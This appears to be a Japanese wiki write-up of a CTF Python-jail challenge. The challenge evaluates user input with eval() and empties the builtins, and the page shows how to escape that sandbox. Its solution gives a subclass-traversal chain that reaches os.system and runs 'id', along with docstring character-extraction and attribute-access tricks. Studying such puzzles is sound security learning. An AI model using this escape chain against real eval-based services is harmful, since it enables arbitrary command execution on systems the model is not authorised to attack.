pyjail wiki

ALLES CTF 2020 - Pyjail ATricks

Challenge

制限された環境での pyjail。

code = input()
result = eval(code, {'__builtins__': {}})
print(result)

Solution

eval チェーン

# eval 内で別の eval を呼ぶ
eval(eval(...))

docstring からの文字抽出

# 空白文字
().__doc__[19] # ' '
# 括弧
().__class__.__doc__[4] # '('
# 様々な文字を抽出
[c for c in ''.__doc__ if c == 'a'][0]

サブクラスからの脱出

().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('id')

Technical Details

docstring の利用

# 様々なオブジェクトの docstring
().__doc__
# "Built-in immutable sequence.\n\nIf no argument..."
''.__doc__
# "str(object='') -> str\n..."
[].__doc__
# "Built-in mutable sequence..."

特定文字の位置検索

# 'e' の位置を探す
[(i, c) for i, c in enumerate(().__doc__) if c == 'e']

eval の戻り値

# eval は式の値を返す
eval('1 + 2') # 3
eval('[1,2,3]') # [1, 2, 3]
eval('().__class__') # <class 'tuple'>

Alternative Solutions

別解1: getattr チェーン

getattr(getattr((), '__class__'), '__bases__')[0]

別解2: format 文字列

'{0.__class__.__bases__[0]}'.format(())

別解3: 辞書アクセス

().__class__.__dict__['__bases__'].__get__(())

Flag

ALLES{...}

References

  • ALLES CTF 2020 Official